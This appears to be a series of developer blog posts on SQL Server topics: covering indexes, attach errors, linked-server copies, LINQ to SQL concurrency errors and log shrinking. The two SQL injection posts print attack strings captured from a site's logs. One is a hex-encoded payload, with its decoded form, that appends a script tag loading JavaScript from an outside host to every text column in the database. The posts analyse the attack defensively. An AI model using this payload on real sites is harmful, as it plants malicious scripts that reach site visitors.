How does a covering index on a database work?

Today I was having a conversation with a co-worker who lives in Italy. He said that Christmas in Italy starts on December 8 which is a holiday in Italy but he didn't know the English name for the holiday.

I went to Google and typed in "december 8 holiday italy" and got back this result:

I didn't need to  click on the result of the first (or any) item that turned up in the search result because all the information that I needed was right there: The Feast of the Immaculate Conception.

This is a covering index. When the results from the index alone can satisfy the information that you seek then they are said to be "covered in the index" and no further lookup is required.

In my search analogy I only made one request to the Google index and never opened the page that it pointed to.

In a database I would pull back all the information that I needed from the table's index and not have to retrieve the record from the table to complete the information search.

Leaving the land of Google analogy you might have a table with an index on userId. Finding that ID in the index allows the database to quickly locate the record in the table from which it can pull the name, for example.

If you had an index on both userId and userName then only the index would need to be searched if all you are after is userName and the second lookup in the table would not be needed.

CREATE FILE encountered operating system error 5 Access is denied

I have an MSSQL 2008 R2 installation and was trying to attach a DB from a non-R2 installation using SQL Server Management Studio (SSMS) and I was getting the following error:

CREATE FILE encountered operating system error 5(Access is denied.) while attempting to open or create the physical file 'C:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\DATA\MyDataBase.mdf'. (Microsoft SQL Server, Error: 5123)

Found plenty of Google results pointing me to suggestions about SQL Server 2000 and 2005 with instructions on how to add user permissions and which user account needed to be added.

Turned out that all I needed to do was to run SSMS as an administrator and the attach worked.

SQL Injection Attack part 2

Since I last wrote about a SQL Injection Attach that one of my sites received I took measures to prevent it and now reject a URL with @(cast in it immediately and don't process it any further. This has worked well over the last year and a half and no further attacks of that type have made it into the logs.

I have now started to see URL requests with the following pattern:

...&whichpage=3%20and%20char(124)%2Buser%2Bchar(124)=0

The significant part comes after the =3:

 and |+user+|=0

No idea what they're trying to achieve with this...

Copy data from local table to remote database table

I need to do this every now and then and as usual forget the syntax or what I did last time to do this. I need to copy some of the data in a table to an identically structured table on another (different) database running on another Server. I do this from SQL Server Management Studio (SSMS) 2005.

1. Using Server Objects > Linked Servers I link the remote server to my local server. (You could also connect to remote server 1 and link to remote server 2 and do this between 2 remote servers.)
2. If the target table has an Identity key I usually disable this by setting it to no and then after the copy I set it back to yes.
3. The syntax to copy the data is:
   insert into [255.255.255.255].dbname.dbo.tableName
   select * from dbname.dbo.tableName where ColID=[some condition]

If the "local" DB is a remote server then precede that DB name with the IP address in square brackets as well.

Another way to do the data transfer is to specify the columns after the first tableName (in parenthesis) and instead of the * (without parenthesis) and omit the identity column and let SQL Server generate that value for you if you don't need to copy it. This is the syntax:

insert into [255.255.255.255].dbname.dbo.tableName (col1, col2, col3) select col1,col2,col3 from dbname.dbo.tableName where ColID=[some condition]

LINQ to SQL architecture question

I have structured a project with a single LINQ to SQL .dbml file and a single DataAccess class that is used to call stored procs and query against this this DBML class. The DataAccess class implements the singleton pattern inasmuch as their's a static DataAccess property which is used for all DB access.

The business layer of the application creates an instance of the DataAccess object, calls the appropriate data access function and then returns.

When running as a web application it is being hit rapidly by 2 clients: (1) a browser calls to it about 1 to 50 times a second (writes data to DB) and (2) an excel spreadsheet calls the web app via a web service on an ad hoc basis and does a query for data.

When the spreadsheet does the query (the browser's hitting the site up to 50 times a second at the same time) I am getting several errors such as the following:

•     Invalid attempt to call MetaData when reader is closed
•     There is already an open DataReader associated with this Command which must be closed first.
•     ExecuteNonQuery requires an open and available Connection. The connection's current state is closed.
•     A transport-level error has occurred when receiving results from the server. (provider: Session Provider, error: 18 - Connection has been closed by peer)
•     A severe error occurred on the current command.  The results, if any, should be discarded.
•     A transport-level error has occurred when receiving results from the server. (provider: Shared Memory Provider, error: 0 - No process is on the other end of the pipe.)

The first 2 errors were solved by adding MARS to the connection string: MultipleActiveResultSets=true

The rest of them I solved by adding a static lock object to the DataAccess class and wrapping all calls to the database in a lock(lockObj) {}.

This solution doesn't feel right though.

Comments on the general approach I've taken... Comments on the lock() solution...

Invalid attempt to call MetaData when reader is closed

I'm using LINQ to SQL to write information at a rapid rate to the same table via calls to a web page. At the same time there is a web service providing results from that table. So far the best info I've found on this lies here: http://blogs.msdn.com/angelsb/archive/2004/09/07/226597.aspx

• Invalid attempt to call MetaData when reader is closed

However, this looks like it's going to be a hard problem to solve.

Need to try adding the following to my connection string declaration:

MultipleActiveResultSets=true

Subsequently hit this error as well:

• There is already an open DataReader associated with this Command which must be closed first.

Reason given in this forum post was: This is due to a change in the default setting for MARs.  It used to be on by default and we changed it to off by default post RC1.  So just change your connection string to add it back (add MultipleActiveResultSets=True to connection string).

MARS stands for Multiple Active Result Sets.

Not sure what I'm doing with this data base at the moment, plenty of errors that need investigating:

• ExecuteNonQuery requires an open and available Connection. The connection's current state is closed.
• A transport-level error has occurred when receiving results from the server. (provider: Session Provider, error: 18 - Connection has been closed by peer)
• A severe error occurred on the current command.  The results, if any, should be discarded.
• A transport-level error has occurred when receiving results from the server. (provider: Shared Memory Provider, error: 0 - No process is on the other end of the pipe.)

SQL Injection Attack

I monitor the logs of a number of web sites and one of them has recently come under a SQL Injection Attack. Here is the code that was trying to be injected as a query param on a URL:

Exception in xxxxx.Page_Load() with param1=abc;DECLARE @S VARCHAR(4000);SET @S=CAST(
0x4445434C415245204054205641524348415228323535292C40432056415243484152283235352920444543
4C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C6
22E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520
612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5
220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D3136372920
4F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F4375727
36F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E
20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D2843
4F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C73637269707420737
2633D687474703A2F2F7777772E63686B6164772E636F6D2F622E6A733E3C2F7363726970743E2727272920
4645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420
434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220
AS VARCHAR(4000));EXEC(@S);--:
String or binary data would be truncated.
The statement has been terminated.

With thanks to the guys on AZGroups I managed to learn a lot about this.

There's a great discussion thread about this here:

http://www.webhostingtalk.com/showthread.php?t=686032

To decode the hex into the command that will be executed you can do that in SQL Server Management Studio by using the following syntax (kudos to slide_o_mix):

DECLARE @S VARCHAR(4000);
SET
@S=CAST(

Put hex characters here with leading 0x

AS VARCHAR(4000));
PRINT @S;

When decoded, the SQL Injection Attack reads as follows:

DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects
a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+']
SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www.chkadw.com/b.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Thanks to Scott Cate for further investigating this and decoding the riddle. Looks like the objective of this attack is to spam ads onto the target site.

Finding non-unique rows in SQL Server

I was trying to copy a table of data from Microsoft Access into SQL Server. I setup the MS Access file as a Linked Server and then executed an:

insert into TableName (Col1, Col2, Col3, Col4)
select T.ColA as Col1, T.ColB as Col2, T.Col3, T.Col4,
from ACCESS_DB...TableName T

But I discovered that the unique key had not been set correct on the Access table so I had to find the duplicate keys. This is what did the trick:

select * from ACCESS_DB...TableName where Col1 in(
select Col1 from ACCESS_DB...TableName
group by Col1
having count(Col1) > 1)

This worked from SQL Server directly against the Access DB. The same type of syntax would work against any regular SQL Server table as well.

Cannot drop database because it is currently in use

I was getting this error when trying to drop a database:
Cannot drop database "MyDatabaseName" because it is currently in use.

I tried the sp_who command to see if there was anything holding on to the DB that I hadn't disconnected from. Couldn't see anything.

drop database MyDatabaseName kept on failing.

Eventually I closed SQL Server Management Studio (SSMS) and reopened it and the drop command then worked immediately. No idea why this happened but this was the solution.

SQL Server 2005 Do's and Don'ts for Developers

From:  Desert Code Camp 2007
Speaker: Eric Kassan (from World Doc)

Notes:

Systems will scale better if less code is in the DB Server because almost always 1 Database Server but can have many application or web servers.

Specify dbo. in front of table name to improve performance.

Use a temp variable instead of a temp table if it's a relatively small data set.

Using Stored Procs for database access and never accessing tables gives you:

• Enhanced security. Only need to grant access to user account to stored procedures and not to the tables.
• Abstraction. You can change the database structure but the application talks to the the stored procs so will not be affected by the table structure changes.

Keep it simple - if there are a lot of users then don't use triggers, cursors and extended stored procs.

Shrinking SQL Server Log File

I've been trying to work out how to do this for ages and today I've finally found the answer from Books Online. I think that a lot of us experience this. When you're searching the help files and resources you can't find the answer but later when you're not looking for it you stumble across it. For my notes, here is the example. Interestingly on most of my DB's I don't need full recovery so I've skipped the last step and left the DB's at simple recovery.

USE AdventureWorks;
GO
-- Truncate the log by changing the database recovery model to SIMPLE.
ALTER DATABASE AdventureWorks
SET RECOVERY SIMPLE;
GO
-- Shrink the truncated log file to 1 MB.
DBCC SHRINKFILE (AdventureWorks_Log, 1);
GO
-- Reset the database recovery model.
ALTER DATABASE AdventureWorks
SET RECOVERY FULL;
GO